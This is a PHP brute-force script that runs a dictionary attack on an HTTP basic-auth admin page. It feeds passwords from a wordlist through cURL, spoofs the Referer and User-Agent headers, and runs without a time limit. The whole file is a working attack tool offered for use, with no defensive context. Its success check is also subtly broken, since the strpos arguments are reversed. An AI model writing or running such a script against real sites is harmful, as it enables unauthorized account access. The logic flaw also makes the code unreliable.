<?php
$ref = "http://www.example.com/index.php";      // Set the referrer to spoof
 
$denied = "Forbidden";                          // Set the "Denied" output
 
$wordlist = "/var/www/wordlist.txt";            // Set the wordlist location
 
set_time_limit ( 0 );                            // Set script execution limit. 0 = no limit
 
$ch = curl_init( );                             // Initialise cURL
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1);   // Set RETURNTRANSFER to TRUE
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1);   // Set FOLLOWLOCATION to TRUE
curl_setopt( $ch, CURLOPT_REFERER, $ref);        // Set REFERER to $ref
curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); // Spoof User Agent
 
foreach( file ( $wordlist ) as $password )       // Start the loop for dictionary attack
{
    $force = "http://admin:{$password}@www.example.com/admin/"; // Set the URL to attack,
    curl_setopt( $ch, CURLOPT_URL, $force );      // Load the URL to attack with cURL
    $check = curl_exec( $ch );                  // Set params to check
    if( !strpos ( $denied, $check ) )             // Check to see if $denied is not in page
    {
        die ( "Success! The password is: {$password}" ); // If $denied returns false, success
    }
}
curl_close( $ch );                              // Close the cURL process
?>